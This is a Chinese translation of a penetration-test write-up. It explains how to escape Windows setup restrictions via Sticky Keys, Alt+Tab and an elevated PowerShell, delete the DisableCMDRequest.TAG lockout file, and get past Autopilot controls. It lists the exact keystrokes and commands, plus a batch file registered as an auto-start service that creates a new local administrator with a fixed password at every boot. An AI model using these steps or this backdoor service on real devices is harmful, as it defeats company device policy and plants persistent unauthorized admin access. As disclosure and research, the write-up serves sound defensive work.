Microsoft Windows Shift F10 Bypass and Autopilot privilge escalation(译文)

qing16 2022-10-10 09:48:00

The Story

在一次正规的渗透测试过程中,我们对某企业环境进行了安全测试。很明显,我不会透露任何关于该客户或项目的相关信息,因此,这里做了匿名化。

X公司,像其他公司一样,也使用微软的解决方案。在这种情况下,Autopilot和环境就成为了调查的重点。(注意:Intune设置在测试期间是未知的。)

测试目标是获得对公司资源的访问权,提升权限级别并绕过公司的安全规则。

本文展示了完整的链式利用过程,具体包含两个步骤。第二步利用了一个已知的漏洞,但也有其他方法可以替代。

我向微软报告了这个漏洞。之后,微软和X公司之间进行了几次讨论。不幸的是,我没有参与这些讨论,并且不允许我分享额外的信息。

微软内部检查的结论是明确的:这不属于Autopilot的漏洞,自然,他们也不会修复该漏洞。

我非常同意微软的观点,这的确不是Autopilot的漏洞,而是Windows系统的一个漏洞。Autopilot只是一个可能被利用的场景(这是有道理的),并且,很可能还有其他的利用场景。

我相信,某些公司在使用Autopilot时遵循微软的某些限制,并且这种使用方式是安全的,但事实并非如此。作为一名客户,我的愿景是一种安全的安装方法。

利用提供的相关信息,每个人都可以评估真实的的风险,并采取必要的防护措施。

实际上,从Windows XP到Windows 11的所有版本的操作系统都受到该漏洞的影响。不过,我还没有在物理机器上用Windows 7或Windows XP测试Shift F10 Bypass。在每种版本下,都有一种方法可以通过粘滞键窗口或其他窗口(如放大镜)启动应用程序。下面,我将以粘滞键为例进行演示。根据可用信息,XP以上的所有系统都可能受到影响。

对于只对bypass技术的视频感兴趣的读者,可以直接跳到后面观看YouTube视频。

Microsoft Installers

在测试期间,涉及以下操作系统映像和版本:

Windows 11 Enterprise Edition (Version 10.0.22000.675)
SW_DVD9_WIN_Pro_11_21H2.7_64BIT_English_Pro_ENT_EDU_N_MLF_X23-14577.ISO
d73f46de775882dd0a307c92341586172d6f914af1494b8f5c7fcc8c6bcc89
349a667edcf6182d886c12b0d4b5acb965ccbdc7ad16ab787e830d4e4de8
c122cd
Vulnerable Yes

Windows 11 Enterprise Edition (Version 10.0.22000.739)
SW_DVD9_WIN_Pro_11_21H2.8_64BIT_English_Pro_ENT_EDU_N_MLF_X23-16487.ISO
e575058c730e92181374f565ecdb912258e2ae6539d1762c377970ebca0b
43b586e98a940f410bd392bed00bc990d63c64877466549655af03350eda
8bc2e0df
Vulnerable Yes

Windows 10 PRO Edition (Version 10.0.19044.1288)
Win10_21H2_English_x64.iso
55d267a8bf03791dd3db4b404e77d25d3cd7accf54696a07ef5cf051a2f006
4c7d2c674e332c1d4dd64b94f485f2f92a11920274fce318a5dd7fcb7c78ca
a1c8
Vulnerable Yes

An imaginary real-life Autopilot case

假设有一家大型公司拥有许多用户。他们为了降低IT成本,并没有让IT部门来安装和配置新员工的计算机,而是让员工在家里以自动化的方式完成这项工作。这时,微软Autopilot就映入眼帘。

1.png

首先,IT人员为Bob准备带有标准Windows映像的公司笔记本电脑,并且配置INTUNE服务和相应的配置文件。然后,IT人员会限制安装程序的设置选项(这是关键),比如禁用引导选项并配置BIOS和UEFI密码。

1.png

假设Bob是一名新员工,从IT部门收到了一台笔记本电脑。同时,Bob还得到新的公司用户名和密码,这样,他就可以使用该用户名和密码登录了。

1.png

Bob回家并登录,然后开始安装和配置。在此过程中,系统将重新启动数次。最后,Bob的新公司笔记本电脑就能符合公司规定,并可以访问公司资源了。

What are these installer restrictions exactly?

在Windows安装过程中,可以通过Shift和F10组合键调出管理命令窗口。在Windows 11等现代系统中,还可以访问控制面板。

当用户部分参与安装或设置过程时,禁用这一功能就会很方便。当然,微软提供了一个禁用该功能的方法。在测试环境中,这些设置都起作用。

这种情况下,IT人员自然认为不会出现什么问题。当然,其他启动选项也会被禁用。用户在这个过程中只能改变最小的设置,如键盘布局或Wi-Fi设置。最后,公司的笔记本电脑就能符合公司的规定,并可以访问公司相关的资源。

During the Penetration test, I was Bob with a physical laptop.

1.png

利用用户界面技巧,我成功绕过并关闭了相关的限制。之后,我就可以随心所欲地改变设置了,比如安装程序,创建用户和组,修改系统设置,修改注册表设置。是的,获得并维持NT权限也是可能的。

Shift F10 Bypass

只要按ALT-TAB键,就能显示窗口切换器。当然,其中只有一个可见的窗口,即安装程序窗口。不过,里边的东西很小,但放大镜工具可以提供帮助。

1.png

现在,已经启用了辅助功能以及其他部分功能,其中包括带有模式窗口的功能。在某些情况下,这些窗口还提供了链接能力,比如粘性键的功能就是一个很好的例子。(按五次shift键,它就会弹出来)。

1.png

通过这些链接功能,可以在后台启动控制面板,具体可以在窗口切换器中用ALT-TAB键查看。

1.png

虽然无法让该窗口进入前端,但可以选择它。

1.png

粘滞键窗口再次成为必要。这一次,窗口必须保持打开。所有的东西都会在后台,相关部分只在应用程序切换器中可见。我们可以直接输入命令,而系统将执行这些命令。

如果选择了适当的窗口,就能通过windows和r键启动命令窗口。之后使用powershell命令,可以启动一个新的powershell窗口。

1.png

这样,我就可以执行命令了。接下来,让我们解除保护措施。

有一个文件,名为“c:\windows\Setup\scripts\DisableCMDRequest.TAG”文件。如果这个文件存在,windows实例将应用其中的限制。如果没有该文件,可以通过简单重置解除这些限制。要删除TAG文件,需要一个shell和合适的用户账户。

步骤总结:

如果焦点不正确,可以使用ALT+TAB对焦。

1. 打开粘滞键窗口连续按Shift键5次
3. 选择粘滞键窗口按Windows + r [enter] (ALT+TAB)
5. Powershell [enter] (ALT+TAB)
7. Start-Process powershell -verb runAs [enter] (UAC OK)
9. cd windows\setup\scripts [enter] 
11. del DisableCMDRequest.TAG (y) 
13. sshutdown -r -t 0 -f [enter] 
​```

打开powershell窗口
![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/f4fe53b7-4cb1-455f-b3a0-86009f504826.png)

打开提权后的powershell窗口
![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/6b763a44-aa5c-4694-b742-b08267916dcb.png) 
![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/7db20877-4c84-4f1f-ac23-85c1364375a7.png)
![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/7a87c723-936e-4b63-96e8-10ac3768cfcf.png)

删除TAG文件
![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/52405c47-bab4-4d26-9a1e-5fa00fddfd97.png)
![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/6efa9ef4-cbca-43a8-aeca-b3beb5c3611d.png)

重新启动机器享受不受限制的新环境 
![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/f0bea962-f886-4692-b997-ea795c1870bd.png)
## Video proof
https://youtu.be/Q8oZiFiXco0
## Multiple continuations

接下来有多种方案可选其中一些解决方案是暂时或在有限的时间内有效的而我则使用了古老的Narrator.exe技巧其实它也很有效需要说明的是很多实验都可以在离线状态下进行并且有可能实现攻击的自动化为此只需使用一个简单的USB设备即可 
## Local Admin privilege escalation and the service trick

到目前为止所有这些步骤都是在进入Autopilot之前完成的在Autopilot运行过程中会发生几件事包括系统更新系统重新启动和各种设置更改其中有个Autopilot步骤可删除本地管理员帐户在某些情况下它是不起作用的这是一个已知的漏洞也有一个修复程序本来我以为自己的安装程序包含了该修复程序但我却收到了错误信息

![1.png](https://tttang-web.oss-cn-zhangjiakou.aliyuncs.com/media/attachment/2022/10/09/86743d46-131a-4084-a9bd-16469e5cd40d.png)

在我的例子中新创建的管理员用户仍保留在系统中遗憾的是我无法以这些用户身份登录所以我必须更改密码同时公司策略也会阻止这些用户的本地登录

为了解决这个问题最简单的方法是使用windows自动服务每次引导后该新服务都会创建一个具有预定义密码的新本地管理员用户 

Shift + F10

powershell

Open PowerShell window without Restrictions

Start-Process powershell -verb runAs

Open cmd window without Restrictions

cmd.exe

Creating folder

mkdir c:\1337
cd 1337

Creating k44.bat file for the service with notepad:

notepad k44.bat
@echo OFF
set K44_USER=k44_%RANDOM%
net user %K44_USER% aA123456 /add
net localgroup Administrators %K44_USER% /add

Save the file

Creating the service

sc create k44service binPath= "c:\1337\k44.bat" DisplayName= "k44service" start=auto

Testing the service, it will fail, but it will create the user

sc start k44service
```

1.png

在准备好上述步骤之后,应遵循正常的处理过程。经过几次重启和登录后,一切准备就绪。这时,就会应用公司策略。

对于新创建的用户,可以以管理员的身份执行命令。

  • 系统是最新的(所有补丁都打了)。
  • 本地管理员用户工作正常。
  • 用户可以访问公司资源。

1.png

我安装了一个我最喜欢的老游戏,并玩了一会。至此,表明在公司笔记本电脑上安装定制软件是完全可能的。
1.png

好了,本文到此结束,祝大家阅读愉快!

原文地址:https://k4m1ll0.com/ShiftF10Bypass-and-privesc.html

评论

Q

qing16

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

业务安全 文章:29 篇
iOS安全 文章:36 篇
硬件与物联网 文章:40 篇
Android 文章:89 篇
运维安全 文章:62 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录